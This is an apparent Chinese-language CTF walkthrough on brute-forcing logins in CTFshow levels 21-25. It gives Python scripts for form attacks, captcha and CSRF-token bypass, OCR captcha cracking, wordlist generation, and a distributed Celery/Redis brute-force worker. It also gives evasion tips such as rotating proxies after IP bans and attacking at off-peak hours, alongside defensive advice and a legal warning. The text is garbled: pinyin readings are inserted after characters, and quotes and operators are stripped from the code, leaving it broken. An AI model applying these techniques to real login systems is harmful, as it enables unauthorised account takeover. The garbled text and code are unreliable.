戰(zhàn):驗(yàn)證碼繞過與字典優(yōu)化技巧)
1. CTF密碼爆破實(shí)戰(zhàn)從入門到精通21-25關(guān)深度解析第一次參加CTF比賽時(shí)我盯著那道密碼爆破題整整兩小時(shí)毫無頭緒直到發(fā)現(xiàn)Burp Suite的Intruder模塊可以自動(dòng)處理驗(yàn)證碼——那一刻仿佛打開了新世界的大門。CTFshow平臺(tái)的爆破類題目設(shè)計(jì)精妙特別是21-25關(guān)逐步引入了驗(yàn)證碼繞過、字典優(yōu)化等實(shí)戰(zhàn)技巧這正是許多初學(xué)者從腳本小子進(jìn)階為安全研究員的關(guān)鍵轉(zhuǎn)折點(diǎn)。1.1 密碼爆破的核心邏輯密碼爆破本質(zhì)上是通過自動(dòng)化工具或腳本用大量可能的密碼組合嘗試登錄系統(tǒng)。在CTFshow的題目中通常會(huì)遇到以下三種驗(yàn)證方式基礎(chǔ)表單爆破21關(guān)帶驗(yàn)證碼的表單23關(guān)需要處理Cookie/Session的復(fù)雜場(chǎng)景25關(guān)重要提示實(shí)際滲透測(cè)試必須獲得授權(quán)CTF題目已預(yù)設(shè)允許爆破的防護(hù)機(jī)制2. 環(huán)境準(zhǔn)備與工具鏈配置2.1 必備工具清單工欲善其事必先利其器我的實(shí)戰(zhàn)工具包包含Burp Suite ProfessionalIntruder模塊處理HTTP請(qǐng)求爆破Python3Requests庫自定義驗(yàn)證碼處理腳本Crunch定制化字典生成crunch 6 6 0123456789 -o num.dictCeWL從網(wǎng)頁生成關(guān)鍵詞字典cewl http://example.com -w custom.dict2.2 驗(yàn)證碼處理方案對(duì)比驗(yàn)證碼類型破解方案適用關(guān)卡純數(shù)字4位OCR識(shí)別Tesseract22關(guān)扭曲字符深度學(xué)習(xí)CNNOpenCV24關(guān)數(shù)學(xué)運(yùn)算正則表達(dá)式提取計(jì)算23關(guān)點(diǎn)選驗(yàn)證人工打碼平臺(tái)非CTF推薦-3. 關(guān)卡逐幀破解實(shí)錄3.1 第21關(guān)基礎(chǔ)表單爆破這是最基礎(chǔ)的POST表單爆破用Burp Suite抓包后發(fā)送到Intruder模塊選擇Cluster bomb攻擊類型設(shè)置用戶名和密碼兩個(gè)變量點(diǎn)加載用戶名字典常見admin/root/guest加載密碼字典rockyou.txt精簡(jiǎn)版# 簡(jiǎn)易Python實(shí)現(xiàn) import requests with open(passwords.txt) as f: for pwd in f: r requests.post(http://靶場(chǎng)地址/login, data{user:admin, pass:pwd.strip()}) if flag in r.text: print(fFound! Password: {pwd}) break3.2 第23關(guān)驗(yàn)證碼繞過技巧該關(guān)卡驗(yàn)證碼會(huì)出現(xiàn)在響應(yīng)頭的Captcha字段需要先GET獲取再POST使用session requests.Session() # 第一次獲取驗(yàn)證碼 resp session.get(http://靶場(chǎng)地址/captcha) captcha resp.headers[Captcha] # 攜帶驗(yàn)證碼爆破 for pwd in passwords: data { user: admin, pass: pwd, captcha: captcha } r session.post(http://靶場(chǎng)地址/login, datadata) if r.status_code 200: print(fSuccess with {pwd})3.3 第25關(guān)Cookie與Session處理這關(guān)引入了動(dòng)態(tài)Token防護(hù)需要處理三個(gè)關(guān)鍵點(diǎn)每次請(qǐng)求生成新的CSRF Token維持同一Session會(huì)話自動(dòng)更新驗(yàn)證碼def extract_token(text): return re.search(rnametoken value(.*?), text).group(1) session requests.Session() homepage session.get(login_url) token extract_token(homepage.text) while True: captcha_img session.get(captcha_url) # 這里需要OCR識(shí)別captcha_img.content captcha recognize_captcha(captcha_img.content) data { user: admin, pass: next_password(), token: token, captcha: captcha } resp session.post(login_url, datadata) token extract_token(resp.text) # 更新token if flag in resp.text: break4. 高階優(yōu)化技巧4.1 智能字典生成策略傳統(tǒng)爆破效率低下的主要原因是字典不精準(zhǔn)我常用的優(yōu)化方法鍵盤模式字典生成qwerty、1qaz2wsx等常見鍵盤組合日期字典生成1980-2020年所有日期格式19801231等公司特征字典用CeWL爬取目標(biāo)網(wǎng)站關(guān)鍵詞# 生成手機(jī)號(hào)字典 for i in {1300000..1999999}; do echo $i; done phone.dict4.2 分布式爆破架構(gòu)當(dāng)字典量超過百萬級(jí)時(shí)建議采用Redis任務(wù)隊(duì)列存儲(chǔ)待嘗試的密碼Celery分布式多worker并行處理結(jié)果去重通過Redis集合實(shí)現(xiàn)# worker示例代碼 app.task def brute_force_task(password): try: r requests.post(url, data{pwd:password}, timeout5) if check_success(r): redis.sadd(found, password) except: pass5. 防御措施與實(shí)戰(zhàn)思考5.1 從攻擊者視角看防護(hù)在完成這些題目后作為開發(fā)人員應(yīng)該意識(shí)到驗(yàn)證碼必須失效設(shè)置1次使用后立即失效錯(cuò)誤響應(yīng)標(biāo)準(zhǔn)化無論賬號(hào)是否存在都返回相同信息延遲遞增第N次錯(cuò)誤后增加(N-1)*2秒延遲5.2 法律與道德邊界雖然CTF題目允許爆破練習(xí)但要注意未經(jīng)授權(quán)的爆破測(cè)試屬于違法行為商業(yè)滲透必須簽訂授權(quán)協(xié)議發(fā)現(xiàn)漏洞應(yīng)遵循負(fù)責(zé)任的披露流程我曾遇到一個(gè)真實(shí)案例某學(xué)員在未經(jīng)授權(quán)的情況下對(duì)學(xué)校系統(tǒng)進(jìn)行爆破練習(xí)導(dǎo)致賬號(hào)被永久封禁。這提醒我們必須在授權(quán)范圍內(nèi)進(jìn)行安全研究。6. 疑難問題排查手冊(cè)6.1 常見錯(cuò)誤代碼處理錯(cuò)誤現(xiàn)象可能原因解決方案403 ForbiddenIP被臨時(shí)封禁切換代理/VPN500 Internal Error驗(yàn)證碼未先獲取確保GET captcha在POST之前響應(yīng)時(shí)間突然變長觸發(fā)速率限制降低并發(fā)數(shù)添加隨機(jī)延遲返回相同錯(cuò)誤無論密碼對(duì)錯(cuò)服務(wù)端做了標(biāo)準(zhǔn)化處理改用時(shí)間差攻擊Timing Attack6.2 驗(yàn)證碼識(shí)別優(yōu)化技巧當(dāng)Tesseract識(shí)別率不足時(shí)可以二值化處理用OpenCV調(diào)整閾值ret, thresh cv2.threshold(img, 127, 255, cv2.THRESH_BINARY)去噪點(diǎn)形態(tài)學(xué)開運(yùn)算kernel np.ones((2,2), np.uint8) opening cv2.morphologyEx(img, cv2.MORPH_OPEN, kernel)字符分割針對(duì)粘連字符使用投影法分割7. 效率提升關(guān)鍵點(diǎn)經(jīng)過上百次爆破實(shí)戰(zhàn)我總結(jié)出三個(gè)黃金法則先小后大先用100條高頻密碼測(cè)試系統(tǒng)反應(yīng)錯(cuò)峰爆破在目標(biāo)系統(tǒng)低峰期進(jìn)行如凌晨2-4點(diǎn)特征優(yōu)先收集目標(biāo)相關(guān)信息生成特征字典如公司名年份有個(gè)有趣的發(fā)現(xiàn)在CTFshow第24關(guān)中驗(yàn)證碼的噪點(diǎn)圖案實(shí)際上是用Linux終端字符組成的通過簡(jiǎn)單的字符匹配就能達(dá)到90%識(shí)別率這提醒我們不要過度依賴視覺干擾作為安全措施。